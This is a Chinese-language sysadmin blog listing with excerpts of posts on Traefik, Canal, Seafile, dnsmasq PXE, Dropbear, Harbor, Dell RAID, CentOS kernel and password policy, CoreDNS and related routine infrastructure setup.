最后定义了动态监控 /export/servers/traefik/dynamic 目录，如果下面有增加文件会自动更新配置。

然后再dynamic目录下定义转发routes

注意命名文件，test7是域名，01是序列号，文件内容中svc的序列号最好跟文件名一致，如果多文件重复会导致配置不可用！！！

test7-01.yml

http:
  routers:
    https_01:
      rule: "Host(`test7.ddky.com`)"
      service: svc_01
      tls:
        certresolver: letsEncrypt

    http:
      rule: "Host(`test7.ddky.com`)"
      service: svc_01
      entryPoints:
        - http

  services:
    svc_01:
      loadBalancer:
        servers:
          - url: "http://172.16.8.1:80"

test8-02.yml

运维方案之canal数据库同步

Sun, 15 Jan 2023 10:05:11 +0800

普遍的大数据抽数的方式都是从散落在各个地方的 MySQL 数据库中开账号，然后把数据同步过来。

这不，大数据的同事提出了一个需求，想把某个库中的某个表的数据单独同步到大数据的统一库中的某个表中。

研究了一个星期，canal 的配置对运维来说非常的不友好，除非用它那个 admin 的 dashboard，但是运维通常是 cli 界面，谁没事装个 dashboard 来配置呢，太 low 了。

用的是 canal 1.1.5 的版本，不能升级，升级后 java 不对了。还没有到用 1.1.6 的时候！

背景：

源数据库：10.8.2.12 
库：xxl_job
表：demotable666

目的数据库：10.8.2.17
库：xxl_job_bak
表：demotable666

而且不用任何的Zookeeper、Kafka、RabbitMQ的中间件，越简洁越好。

一、安装canal

wget https://github.com/alibaba/canal/releases/download/canal-1.1.5/canal.deployer-1.1.5.tar.gz
wget https://github.com/alibaba/canal/releases/download/canal-1.1.5/canal.adapter-1.1.5.tar.gz

#都装到 /app 目录下
mkdir /app
mkdir /app/deploy
mkdir /app/adapter

cd /app/deploy
tar zxvf canal.deployer-1.1.5.tar.gz

cd /app/adapter
tar zxvf canal.adapter-1.1.5.tar.gz

二、MySQL源准备

# /etc/my.cnf 加入以下几项并重启
[mysqld]
log-bin=mysql-bin # Start log bin.
binlog_format=ROW # Log format.
server-id=1 # Server id,different from slave.

授权binlog同步：

seafile配搭onlyoffice的安装

Sun, 15 Jan 2023 09:05:11 +0800

之前公司一直用的是 seafile 来保存文档，非常好用，也出过一次大事，一个离职的员工清空电脑，然后直接把sefaile文件夹也同步清空了，好在有版本，最后找了回来。

换到新公司，财务也提了共享云盘的要求，还要求能多人同时在线编辑。

那就试着搭建 seafile + onlyoffice 了，同时要求提高安全性，在网上搜索了一圈，没几个对的，尤其是对https这一块，花了2天时间搭建，记录一下整个过程：

一、下载seafile：

没有选定高版本的，最新版本的变化太多，缺省全部都安装到 /app 目录下

wget https://download.seadrive.org/seafile-server_7.0.0_x86-64.tar.gz
tar zxvf seafile-server_7.0.0_x86-64.tar.gz
mkdir /app
mv seafile-server-7.0.0 /app

二、设定CentOS7

依然活在 CentOS 7.10 的时代，再往上升级，要升到 rokey linux 了

提醒：seafile 的安装根据版本不同，yum 装的东西也不尽然相同的，要去官方文档看

yum install python python-setuptools MySQL-python python-urllib3 python-ldap -y

三、安装MySQL数据库

这个就仁者见仁、智者见智了，我现在的方式都是二进制装，选用的是 mysql-5.6.51-linux-glibc2.12-x86_64.tar.gz 安装的，

tar zxvf mysql-5.6.51-linux-glibc2.12-x86_64.tar.gz
mv mysql-5.6.51-linux-glibc2.12-x86_64 /app

yum -y install autoconf libaio*

cat<<EOF>/etc/my.cnf
[mysql]
# 设置mysql客户端默认字符集
default-character-set=utf8
socket=/tmp/mysql.sock
 
[mysqld]
skip-name-resolve
#设置3306端口
port = 3306
socket=/tmp/mysql.sock
# 设置mysql的安装目录
basedir=/app/mysql-5.6.51-linux-glibc2.12-x86_64/
# 设置mysql数据库的数据的存放目录
datadir=/app/mysql-5.6.51-linux-glibc2.12-x86_64/data
# 允许最大连接数
max_connections=200
# 服务端使用的字符集默认为8比特编码的latin1字符集
character-set-server=utf8
# 创建新表时将使用的默认存储引擎
default-storage-engine=INNODB
#lower_case_table_name=1
max_allowed_packet=16M
sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES
EOF

groupadd -g mysql
useradd -g mysql mysql

# 初始化DB
cd /app/mysql-5.6.51-linux-glibc2.12-x86_64/
/app/mysql-5.6.51-linux-glibc2.12-x86_64/scripts/mysql_install_db --user=mysql

#建立 /etc/init.d/mysql 的软链接
mysql -> /app/mysql-5.6.51/support-files/mysql.server
 
#启动
/etc/init.d/mysql start

# 安全设置DB
cd /app/mysql-5.6.51-linux-glibc2.12-x86_64/
/app/mysql-5.6.51-linux-glibc2.12-x86_64/bin/mysql_secure_installation

四、准备onlyoffice

这里有大坑啊，其实onlyoffice的版本万万不能用最新的，因为JWT的Token认证

cka的模拟试题

Thu, 12 Jan 2023 10:05:11 +0800

刚通过了CKA的考试，拿到了证书。

说老实话，想考这个必须翻墙啊，在考试的时候正好是新冠的第三天，烧得正厉害。

然后考试的过程真是一波三折，PSI 足足重新认证了三次，浪费40分钟。

最后都感觉要完蛋了，只剩下不到10分钟检查，结果还不错，考了90分。

有第一次考的可以联系我，我给你说一些必须注意的事项。

然后 CKA 有一个模拟考试，36小时时间，实际考试的环境跟模拟的完全不一样啊。

但是模拟如果你能过，那考试你一定能过，模拟的难度不低，相当高。

这就把模拟的题给放出来，供大家参考，非常有参考价值。

大家可以学到很多东西。

文件下载：cka.html 单html文件

xshell的绿色配色方案

Thu, 12 Jan 2023 09:05:11 +0800

其实一直用的终端软件是terminus，全终端可用，以前用 ubuntu，非常好用。

现在换到新公司，用 Win10，也装了一个。

一直到机房改造前，还都觉得行，但是机房改造需要收回核心交换机、路由器的权限，开终端 console 居然要收费会员，没办法，找老刘换回了免费的xshell 7。

xshell的配色实在是受不了，还是喜欢绿色的字符界面。

备份一个绿色的方案：

[mycolor]
text(bold)=e9e9e9
magenta(bold)=ff00ff
text=00ff80
white(bold)=fdf6e3
green=80ff00
red(bold)=ff0000
green(bold)=3c5a38
black(bold)=808080
red=ff4500
blue=00bfff
black=000000
blue(bold)=1e90ff
yellow(bold)=ffff00
cyan(bold)=00ffff
yellow=c0c000
magenta=c000c0
background=042028
white=c0c0c0
cyan=00c0c0
[Names]
count=1
name0=mycolor

保存成 mycolor.xcs 文件，然后工具–> 配色方案，导入即可：

整体效果还是比较好的。

是自己喜欢的样子，当然，字体从9也增加到了12。

2022年获得的证书

Tue, 03 Jan 2023 09:05:11 +0800

2022年经过努力，考了4张证书，2023年继续努力奋斗……

阿里云的ACP证书：

AWS的SAA-C03证书：

K8S的CKA证书：

K8S的CKS证书：

DNSMASQ配置PXE的方式

Thu, 22 Dec 2022 09:05:11 +0800

DNSMASQ做局域网内的pxe installl是最合适不过的软件了。不用单独搭建 tftpserver，用自建的即可。

而且支持给各种子网打标签，还可以按标签发送各种dhcp包的特定信息。

interface=eth0
bind-dynamic

pxe-prompt="Rendoumi PXE System", 5

domain-needed
bogus-priv
no-resolv
no-poll

#address=/jump.dedi.jp/install/103.108.236.5

#UP Stream DNS Server
server=114.114.114.114
server=202.106.196.115
server=202.106.0.20
strict-order

dhcp-authoritative
dhcp-sequential-ip
dhcp-no-override

log-facility=/var/log/dnsmasq.log
log-dhcp
log-queries


enable-tftp
tftp-root = /export/servers/tftpboot

#only new add host is dynamic, delete or modify not.
#dhcp-hostsfile=/etc/dhcp-host/hosts.conf
dhcp-hostsdir=/etc/dhcp-host

#
#Setup different options for each of the unique subnets, since default gateways will be different
#The format for this is: dhcp-options=<your_tags_here>,<option>,<option_value> - 
#3 is router
#1:netmask, 15:domain-name, 3:router, 6:dns-server,
#44:netbios-ns, 46:netbios-nodetype, 47:netbios-scope,
#31:router-discovery, 33:static-route, 121:classless-static-route,
#43:vendor-encap
#
dhcp-option=option:dns-server,172.18.30.1,172.18.30.2
dhcp-option=option:all-subnets-local,1
dhcp-option=option:T1,2m
dhcp-option=option:T2,4m

#dhcp-range=[tag:<tag>[,tag:<tag>],][set:<tag>,]<start-addr>[,<end-addr>|<mode>][,<netmask>[,<broadcast>]][,<lease time>]
#vlan 1 native vlan
#dhcp-range=set:net1,172.18.29.100,172.18.29.250,static,255.255.254.0,2m
dhcp-range=set:net1,172.18.29.100,static,2m
dhcp-option-force=tag:net1,option:router,172.18.29.254

#vlan 199 wuli
#dhcp-range=set:net2,172.18.31.100,static,255.255.254.0,2m
#dhcp-range=set:net2,172.18.31.100,255.255.254.0,2m
dhcp-range=set:net2,172.18.31.100,static,2m
dhcp-option-force=tag:net2,option:router,172.18.31.254


# set tag "ipxe" if request comes from iPXE ("iPXE" user class)
dhcp-userclass=set:ipxe,iPXE

# alternative way, look for option 175
#dhcp-match=set:ipxe,175 # gPXE/iPXE sends a 175 option.

# if request comes from dumb firmware, send them iPXE (via TFTP)
#dhcp-boot=tag:!ipxe,undionly.kpxe,boothost,172.18.29.2
dhcp-boot=tag:!ipxe,undionly.kpxe


# if request comes from iPXE, direct it to boot from boot1.php
#dhcp-boot=tag:ipxe,http://172.18.29.2/pxeboot/boot1.php
#--dhcp-boot=[tag:<tag>,]<filename>,[<servername>[,<server address>|<tftp_servername>]]
dhcp-boot=tag:ipxe,tag:net1,http://172.18.29.2/pxeboot/boot1.php,172.18.29.2
dhcp-boot=tag:ipxe,tag:net2,http://172.18.31.2/pxeboot/boot1.php,172.18.31.2

# Args add(old del) mac ip hostname
# add ac:1f:6b:21:3e:d8 103.108.236.22 1403-s27
#dhcp-script=/bin/echo
#dhcp-leasefile=/var/log/dnsmasq.leases
# !!!! tag is alphanumeric label, fuck !!!!!

附上undionly.kpxe：undionly.kpxe

Dropbear配置SSH服务

Mon, 19 Dec 2022 09:05:11 +0800

合规审计经常需要给各种软件打补丁，比如openssh，如果是高版本还好说。如果让你补 centos 6的 openssh，

那恐怕就要喝一壶了。替代方案如下：

git：https://github.com/mkj/dropbear 下载地址：https://matt.ucc.asn.au/dropbear/dropbear.html

一、介绍 dropbear作为一款基于ssh协议的轻量级sshd服务器，相比OpenSSH，其更简洁，更小巧，运行起来内存占用比也更小。在应用进程上，OpenSSH会开启两个sshd进程服务，而dropbear只开启一个进程，相较于OpenSSH，其对于硬件要求也更低，也更节约系统资源。

dropbear实现完整的SSH客户端和服务器版本2协议，不支持SSH版本1协议的向后兼容性，以节省空间和资源，并避免在SSH版本1的固有的安全漏洞。

dropbear主要有以下程序：

服务程序：dropbear（类似于Openssh的sshd）客户程序：dbclinet（累世于Openssh的ssh）密钥生成程序：dropbearkey

二、下载安装

wget https://matt.ucc.asn.au/dropbear/dropbear-2020.81.tar.bz2
tar jxvf dropbear-2020.81.tar.bz2 
cd dropbear-2020.81

./configure
make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"
make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" install

mkdir /etc/dropbear/
dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key
dropbear -E -p 2222   #启动ssh服务
dropbear -FE -p 2222  #-F指定前台运行

客户端连接：
ssh 192.168.89.37 -p 2222

++++++++++++++++++++++++++++++++++++++++++++++++++++++++

报错：zlib error 或者make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"出错

解决方法：
wget https://www.zlib.net/fossils/zlib-1.2.10.tar.gz
tar zxvf zlib-1.2.10.tar.gz 
cd zlib-1.2.10
./configure --prefix=/usr/local/zlib

++++++++++++++++++++++++++++++++++++++++++++++++++++++++

docker镜像仓库harbor的搭建与使用

Mon, 19 Dec 2022 09:04:11 +0800

一：我们在公司内部建立了Docker内部镜像仓库：

harbor是vmware出的一个docker镜像仓库，本质是一组容器的集合体，算是一个多容器的pod.

数据卷缺省是宿主机的/data，所以我们把iscsiu挂在/data

主机：172.18.31.28

首先安装docker-ce

添加docker-ce源：

yum install epel-release

yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

yum install docker-ce -y

yum install ntp -y

启动自动同步时间:

timedatectl set-ntp yes  #此处可用yes,no,1或0

配置时区:

timedatectl set-timezone Asia/Shanghai

配置Docker启动参数：

mkdir -p /etc/docker
cat << EOF >> /etc/docker/daemon.json
{
    "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn/"]
}
EOF

之后装的所有Docker的宿主机，如果要用到这个私有仓库的话：

cat << EOF >> /etc/docker/daemon.json
{
     "insecure-registries":["172.18.31.28"],
     "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn/"]
}
EOF

启动docker

systemctl enable docker && systemctl start docker

安装Docker-compose

Docker的缺省网段冲突问题

Mon, 19 Dec 2022 09:02:11 +0800

docker默认网段是172.17，和公司的网段172.16和172.18有时候会冲突，解决方法就是换docker网段。

方案：不改docker网段，创建不和公司网段冲突的docker子网段

docker network create --driver=bridge --subnet=172.19.0.0/24 monitor_net

运行容器时指定

docker run -it --name <容器名> ---network monitor_net <镜像名>

在docker-compose同样通过networks指定，形式如下：

version: '3'
networks:
   monitor:
   #使用已经存在的网络
     external:
       name: monitor_net  

services:
    prometheus:
        image: prom/prometheus
        container_name: prometheus
        hostname: prometheus
        privileged: true
        restart: always
        volumes:
            - /usr/local/src/config/prometheus.yml:/etc/prometheus/prometheus.yml
            - /usr/local/src/config/node_down.yml:/etc/prometheus/node_down.yml
        ports:
            - "9091:9090"
        networks:
            - monitor
        links:
            - alertmanager
            - node-exporter

Dell服务器设置远程文件共享

Sun, 18 Dec 2022 09:07:11 +0800

Dell服务器设置远程文件共享

用来加载iso文件，用于安装系统或者修复

输入172.18.31.2:/export/nfsshare/centos7-live-docker.iso

缺省是支持4种格式的共享：

    CIFS — //<IP to connect for CIFS file system>/<file path>/<image name>
    NFS — < IP to connect for NFS file system>:/<file path>/<image name>
    HTTP — http://<URL>/<file path>/<image name>
    HTTPs — https://<URL>/<file path>/<image name>

点击Connect

好的话，就会蹦出Success

然后启动虚拟控制台，Boot菜单选中启动：Virtual CD/DVD/ISO

重启，就可以进入centos7-live-docker.iso的系统了

Dell机器主板VLT0204故障处理以及内存插法

Sun, 18 Dec 2022 09:06:11 +0800

vlt0204, NDC瓦特超了，十有八九是网卡烧了，然后导致主板电压过载。

前面板日志：VLT0204，登录idrac看到日志：

The system board NDC PG voltage is outside of range.

悲剧了，可能是主板烧了

处理方法如下：

一、主板放电

1、关机 2、拔电源线 3、长按电源开关半分钟不放手 4、半分钟后放手，接回电源线开机看看

如果以上方法不行，就必须采用第二种方法：

二、最小化负载排错

1、拔掉电源2 2、拔掉CPU2 3、拔掉所有内存（只留1条或2条） 4、拔掉网卡 5、启动看看

R740的内存插法：

R730的内存插法：

升级CentOS7的kernel核心

Sun, 18 Dec 2022 09:05:11 +0800

CentOS7更新内核

内核下载地址：https://elrepo.org/linux/kernel/el7/x86_64/RPMS/

内核包有两种，ml主流，lt长期支持。

我们升级核心肯定是为了主流的功能，lt还升它做甚。

#升级：

rpm -ivh https://elrepo.org/linux/kernel/el7/x86_64/RPMS/kernel-ml-6.1.0-1.el7.elrepo.x86_64.rpm

#查看可用内核

awk -F\' '$1=="menuentry " {print i++ " : " $2}' /etc/grub2.cfg

#初始化第一个为默认内核

grub2-set-default 0

#重新创建内核配置

grub2-mkconfig -o /boot/grub2/grub.cfg
reboot

#后续有需要再装，不需要搞开发就别装！

#更新kernel-ml-headers
rpm -ivh https://elrepo.org/linux/kernel/el7/x86_64/RPMS/kernel-ml-headers-6.1.0-1.el7.elrepo.x86_64.rpm

#更新kernel-ml-devel
rpm -ivh https://elrepo.org/linux/kernel/el7/x86_64/RPMS/kernel-ml-devel-6.1.0-1.el7.elrepo.x86_64.rpm

合规要求之CentOS7的用户密码策略

Sun, 18 Dec 2022 09:04:11 +0800

各种合规要求中都对用户策略有着要求，什么PCI啊，上市审计啊，都有着密码复杂程度的要求：

CentOS 7 的用户密码策略：

修改vi /etc/pam.d/system-auth

其中有一行：

password    requisite     pam_pwquality.so try_first_pass local_users_only retry=3 authtok_type=

后面加上：

minlen=12 lcredit=-1 ucredit=-1 dcredit=-1 ocredit=-1 enforce_for_root

修改成为：

password    requisite     pam_pwquality.so try_first_pass local_users_only retry=3 authtok_type= minlen=12 lcredit=-1 ucredit=-1 dcredit=-1 ocredit=-1 enforce_for_root

意思是：

密码长度12，须包含：一个小写字符，一个大写字符，一个数字，一个特殊字符，强制root也遵守此规则

参数全部解释如下：

retry=3: This option will prompt the user 3 times before exiting and returning an error.
minlen=12: This specifies that the password cannot be less than 12 characters.
maxrepeat=3: This allows implies that only a maximum of 3 repeated characters can be included in the password.
ucredit=-1: The option requires at least one uppercase character in the password.
lcredit=-1: The option requires at least one lowercase character in the password.
dcredit=-1: This implies that the password should have at last a numeric character.
ocredit=-1: The option requires at least one special character included in the password.
difok=3: This implies that only a  maximum of 3 character changes in the new password should be present in the old password.
reject_username: The option rejects a password if it consists of the username either in its normal way or in reverse.
enforce_for_root: This ensures that the password policies are adhered to even if it’s the root user configuring the passwords.

Dnsmasq配置一个域名对应多个ip

Sun, 18 Dec 2022 09:03:11 +0800

一：介绍： DNSMasq主要用来解决内网DNS域名缓存、DHCP、网络启动和路由通告功能，我们主要是将DNSMasq作为内网DNS域名劫持使用

系统环境：centos7.6 需求：一个域名对应多个ip 主机ip：（内网主机172.18.30.1和172.18.30.2）

二：配置方法 1，添加如下配置到/etc/dnsmasq.conf addn-hosts=/etc/ty.ddky.local

addn-hosts：如果要支持一个域名对应多个 IP，就必须用 addn-hosts 选项

2，/etc/ty.ddky.local 文件内容如下： 172.18.33.100 ty.ddky.local 172.18.33.104 ty.ddky.local

3，修改完成后重启 DNSMasq systemctl restart dnsmasq.service

老版本cacti的图形filter突然失效的解决办法

Sun, 18 Dec 2022 09:03:11 +0800

网络工程师选择网络设备的监控工具是老牌的cacti，当然作为系统工程师的我，还是觉得librenms是个好选择，但是，librenms会对网络设备cpu造成比较大的压力。那还是遵从他的选择，最近网工报告说：

选择图形的时候时间Filter失效了。选择了以后图形无变化，崩溃，查了一下，都上古的玩意了。

修改方法：

修改graph_image.php

unixtime = 1600000000，也就是到 2020-09-13 20:26:40。放大到 2600000000，也就是到2052-05-22 22:13:20，写这个php程序的人防越界，却没想到时间真的来到了这个节点。

注：Unix 时间戳是从1970年1月1日（UTC/GMT的午夜）开始所经过的秒数，不考虑闰秒。

线上服务器出现多网关问题的处理

Sun, 18 Dec 2022 09:02:11 +0800

线上服务器172.18.30.67 有4个网口

其中eno1和eno2是两个光纤万兆口，enp26s0f0和enp26s0f1是两个以太千兆网口。

eno2网卡在没做bonding的时候，通过NetworkManager的dhcp获得了地址。然后eno1和eno2做了bonding，但是eno2实际还在单独起作用，bonding后地址没去掉，导致有两个网关。路由表如下：

[root@renhe-18-30-67 ~]# ip r
default via 172.18.29.254 dev eno2 
default via 172.18.31.254 dev br0.199 proto static metric 426 
172.18.28.0/23 dev eno2 proto kernel scope link src 172.18.28.67 
172.18.30.0/23 dev br0.199 proto kernel scope link src 172.18.30.67 metric 426 
192.168.122.0/24 dev virbr0 proto kernel scope link src 192.168.122.1

eno2是从dhcp获得了172.18.28.67的地址

ip a
eno2: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST>  mtu 1500
        inet 172.18.28.67  netmask 255.255.254.0  broadcast 172.18.29.255
        ether b4:05:5d:08:e0:d8  txqueuelen 1000  (Ethernet)
        RX packets 81768780  bytes 5398659503 (5.0 GiB)
        RX errors 0  dropped 7  overruns 0  frame 0
        TX packets 10044620  bytes 467566304 (445.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

这种情况下，处理方法如下：

114dns的ttl超时的教训

Sun, 18 Dec 2022 09:01:11 +0800

114.114.114.114 这个DNS修改记录等待的生效时间非常的长，远远超出了TTL的时长，基本是你设置TTL时间的6倍。

这是上次我们割接得到的教训啊。我们要割接m.ddky.com的域名。

注：在修改m.ddky.com的记录前，已经把ddky.com的m.ddky.com的TTL改成了1分钟，正常的来说，第一轮1分钟内不更新，第二轮2分钟内也应该更新了。

看下图，在带外机上做的查询，查询的时候8.8.8.8和223.5.5.5都已经生效了，变成了帝联的地址。

06:06:57 做了查询，去掉小时，06：57定义为起始时间。

一直到 12:22 分还没有变过来，大概 13:00 变过来

起始 06:57 – 13:00 ，一共用了6分钟。而TTL是1分钟，所以基本是6倍时间。

往前推测5月25日的DNS割接，TTL是10分钟，6倍，就是60分钟，基本吻合。

如果想让DNS尽快生效，TTL改成10秒是极限了。

Dell服务器用ssh方式划分磁盘Raid的方法

Sun, 18 Dec 2022 09:01:11 +0800

首先ssh到idrac去，直接会进入racadm的界面

我们以2022年最新的dell机器为例，老的机器显示的东西不一致

ssh 10.18.30.104
Password: 
racadm>>

注意，shell命令有自动补全功能，按两下tab键会自动补

做raid的全部命令都在storage的子命令下

一、首先拿到raid卡的名称：

racadm>>storage get controllers
RAID.Slot.1-1
AHCI.Embedded.2-1
AHCI.Embedded.1-1

RAID.Slot.1-1 是Raid卡控制器名称，下面两个是主板内置的，忽略。

二、然后拿到所有物理盘的名称：

racadm>>storage get pdisks
Disk.Bay.0:Enclosure.Internal.0-1:RAID.Slot.1-1
Disk.Bay.1:Enclosure.Internal.0-1:RAID.Slot.1-1
Disk.Bay.2:Enclosure.Internal.0-1:RAID.Slot.1-1
Disk.Bay.3:Enclosure.Internal.0-1:RAID.Slot.1-1

三、看看有没有已经做好的虚拟磁盘

racadm>>storage get vdisks

显示为空，那我们就可以放心大胆的去做了

四、划分RAID 根据级别不同，精简过的名令如下：

racadm storage createvd:<控制器> -rl {r0|r1|r5|r6|r10|r50|r60} -pdkey:<磁盘组，用逗号分割> 

-rl — Sets the storage level.
    r0 — storage 0-Striping
    r1 — storage 1-Mirroring
    r5 — storage 5-Striping with Parity
    r6 — storage 6-Striping with Extra Parity
    r10 — storage 10-Spanned Striping with Mirroring
    r50 — storage 50-Spanned Striping with Parity
    r60 — storage 60-Spanned Striping with Extra Parity

给出例子：

Megacli操作磁盘的常用命令

Sat, 17 Dec 2022 09:30:11 +0800

这Megacli是操作磁盘Raid的常用软件，日常用的大多是dell家的机器，都是这软件，记录一下。

#!/bin/sh
#/opt/MegaRAID/MegaCli/MegaCli64 -PDList -a0
/opt/MegaRAID/MegaCli/MegaCli64 -PDList -a0 | grep -A1 "Enclosure Device"

# clear foreign disk 
#/opt/MegaRAID/MegaCli/MegaCli64 -cfgforeign -scan -a0
#/opt/MegaRAID/MegaCli/MegaCli64 -cfgforeign -clear -a0

# clear Firmware state
#/opt/MegaRAID/MegaCli/MegaCli64 -PDList -a0 |grep 'Firmware state'
#/opt/MegaRAID/MegaCli/MegaCli64 -PDMakeGood -Physdrv "[32:3]" -a0

# clear Firmware JBOD mode, first turn into unconfig mode, then MakeGood
#/opt/MegaRAID/MegaCli/MegaCli64 -PDList -a0 |grep 'Firmware state'
#/opt/MegaRAID/MegaCli/MegaCli64 -PDMakeGood -Physdrv [32:3] -force -a0

#/opt/MegaRAID/MegaCli/MegaCli64 AdpGetProp EnableJBOD -aALL
#/opt/MegaRAID/MegaCli/MegaCli64 -AdpSetProp -EnableJBOD -1  -a0
#/opt/MegaRAID/MegaCli/MegaCli64 -PDMakeJBOD -PhysDrv[252:0] -a0

# create Raid0 
#/opt/MegaRAID/MegaCli/MegaCli64 -CfgLdAdd -r0[252:3] -a0
# Get old Cache, ex: Virtual Drive(Target ID 02)
#/opt/MegaRAID/MegaCli/MegaCli64 -GetPreservedCacheList -a0
# Clear cache, ex: Virtual Drive(Target ID 02)
#/opt/MegaRAID/MegaCli/MegaCli64 -DiscardPreservedCache -L2 -a0
# create Raid1 
#/opt/MegaRAID/MegaCli/MegaCli64 -CfgLdAdd -r1[252:4,252:5] -a0
# create Raid5
#/opt/MegaRAID/MegaCli/MegaCli64 -CfgLdAdd -r5[252:2,252:3,252:4,252:5] -a0
# create Raid10
#/opt/MegaRAID/MegaCli/MegaCli64 -CfgSpanAdd -r10 -Array0[32:4,32:5] -Array1[32:6,32:7] -a0

#delete raid
#/opt/MegaRAID/MegaCli/MegaCli64 -CfgLdDel -L0 -a0
#Virtual Drive: 0 (Target Id: 0)

# check Raid
#/opt/MegaRAID/MegaCli/MegaCli64 -LDInfo -Lall -aALL
#RAID 1
#RAID Level          : Primary-1, Secondary-0, RAID Level Qualifier-0
#RAID 5
#RAID Level          : Primary-5, Secondary-0, RAID Level Qualifier-3

# check Raid disks
#/opt/MegaRAID/MegaCli/MegaCli64 -LdPdInfo -aAll | egrep "^Adapter|^Number of Virtual|^Virtual Drive:|^Name|^Enclosure Device ID:|^Slot Number:"

# GPT part
#parted -s /dev/sde mklabel gpt mkpart primary 0% 100%

# check disk rebuild progress
#/opt/MegaRAID/MegaCli/MegaCli64  -PDRbld -ShowProg -physdrv[32:1] -aALL
#Rebuild Progress on Device at Enclosure 32, Slot 1 Completed 7% in 3 Minutes.

# Force rebuild
#/opt/MegaRAID/MegaCli/MegaCli64  -PDRbld -Start -physdrv[32:1] -a0
# OR
#/opt/MegaRAID/MegaCli/MegaCli64  -pdlocate -start -physdrv[32:1] -a0

#Start rebuild, first clean the foreign configuration and then make the device hot spare (only if the above command failed)
#/opt/MegaRAID/MegaCli/MegaCli64 -CfgForeign -Clear -aALL
#set global hostspare
#/opt/MegaRAID/MegaCli/MegaCli64 -PDHSP -Set -PhysDrv [32:1] -a0

#If you need to unset/remove a global hotspare:
#/opt/MegaRAID/MegaCli/MegaCli64 -PDHSP -Rmv -PhysDrv [32:1] -aN

#downgrade raid6 --> raid5 ,and more space now can be used
# -L0  virtual disk 0
# /opt/MegaRAID/MegaCli/MegaCli64 -LDRecon -Start -r5 -L0 -a0
# echo 1 > /sys/block/sda/device/rescan

#Add disk to a raid5
#/opt/MegaRAID/MegaCli/MegaCli64 -LDRecon -Start -r5 -Add -PhysDrv[32:3] -L0 -a

#Configure WriteThrough or WriteBack
#/opt/MegaRAID/MegaCli/MegaCli64 -LDSetProp -WT -Immediate -Lall -aAll
#/opt/MegaRAID/MegaCli/MegaCli64 -LDSetProp -WB -Immediate -Lall -aAll

#/opt/MegaRAID/MegaCli/MegaCli64 -PDList -aALL |grep "Inquiry Data:"
#Inquiry Data: SEAGATE ST600MP0005     VS08S7M04B0C            
#Inquiry Data: SEAGATE ST600MP0005     VS08S7M04AFD            
#Inquiry Data: SEAGATE ST600MP0005     VS08S7M04JAY            
#Inquiry Data: SEAGATE ST600MP0005     VS08S7M04AAG            

#/opt/MegaRAID/MegaCli/MegaCli64 -PDList -aALL  | grep "Drive Temperature"
#Drive Temperature :36C (96.80 F)
#Drive Temperature :35C (95.00 F)

Oracle使用rman定时清除7天前的日志

Thu, 08 Dec 2022 09:30:11 +0800

这一篇正规的DBA看到肯定会呲之以鼻，但对于没有用过oracle的系统运维来说，就是必须知道的事情了。

公司的 Oracle 实例有两台数据库，定时用rman备份，但是没有自动清理机制，过一阵子磁盘就会超过 80% 告警，需要手动清理，烦不胜烦。

凡是要手动做三次的事情必须自动化处理，启荣大师如是说，照办就是。

cat del_log.sh

#!/bin/bash

source /home/oracle/.bash_profile

rman target / << EOF
delete noprompt archivelog until time 'sysdate-7';
exit;
EOF

很简单吧。上面引用的 .bash_profile 内容如下：

# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
        . ~/.bashrc
fi

# User specific environment and startup programs

PATH=$PATH:$HOME/.local/bin:$HOME/bin
export PATH
export ORACLE_BASE=/data/u01/app/oracle
export ORACLE_HOME=/data/u01/app/oracle/product/18.3.0/dbhome_1
export ORACLE_SID=oradb
export PATH=/usr/sbin:$PATH
export PATH=$ORACLE_HOME/bin:$PATH:/usr/local/bin
export LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib:$ORACLE_HOME/rdbms/lib
export CLASSPATH=$ORACLE_HOME/JRE:$ORACLE_HOME/jlib:$ORACLE_HOME/rdbms/jlib
export NLS_DATE_FORMAT='yyyy/mm/dd hh24:mi:ss'
export EDITOR=vi
umask 022

这个 del_log.sh 的脚本放进 oracle 用户的 crontab 里执行就好

CoreDNS替代dnsmasq

Wed, 07 Dec 2022 10:30:11 +0800

CoreDNS是k8s的御用DNS解析软件

支持很多插件，各种DoH、DoT、gRPC ，各种特性，安装配置也十分简单

替代dnsmasq后，基本dnsmasq的功能都支持，修改劫持域名后也不用重启，会自动刷文件更新

下面说一下装法：

安装：

wget https://github.com/coredns/coredns/releases/download/v1.7.0/coredns_1.7.0_linux_amd64.tgz

解压后就一个文件，直接放到/usr/local/bin

做个systemd启动文件

cat /etc/systemd/system/coredns.service 
[Unit]
Description=CoreDNS DNS server
After=network.target

[Service]
PermissionsStartOnly=true
LimitNOFILE=1048576
LimitNPROC=512
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
AmbientCapabilities=CAP_NET_BIND_SERVICE
NoNewPrivileges=true
ExecStart=/usr/local/bin/coredns -conf=/usr/local/bin/coredns.conf
ExecReload=/bin/kill -SIGUSR1 $MAINPID
Restart=on-failure

[Install]
WantedBy=multi-user.target

东西全都在/usr/local/bin/coredns.conf配置文件里：

.:5353 https://.:443 {
  any
  log
  debug
  bind 172.18.30.1
  tls /usr/local/bin/full.pem /usr/local/bin/key.pem
  hosts /etc/hosts {
    ttl 60
    reload 1m
    no_reverse
    fallthrough
  }
  cache 120
  reload 6s
  loadbalance
  forward . 114.114.114.114:53 223.5.5.5:53 223.6.6.6:53 {
      policy sequential
  }
  prometheus 172.18.30.1:9253

}

解释一下：

sed中的正则表达式用法

Wed, 07 Dec 2022 09:30:11 +0800

之前说过sed的高阶用法，其实普通情况下，正则是最常用的，下面就来说一下，用不到的就暂时不说

^ # 匹配行开始，如：/^sed/匹配所有以sed开头的行。
$ # 匹配行结束，如：/sed$/匹配所有以sed结尾的行。
. # 匹配一个非换行符的任意字符，如：/s.d/匹配s后接一个任意字符，最后是d。
* # 匹配0个或多次字符，如：/a*sed/匹配所有模板是0个或多个a后紧跟sed的行。后紧跟sed的行。
\? # 匹配0次或1次他前面的字符
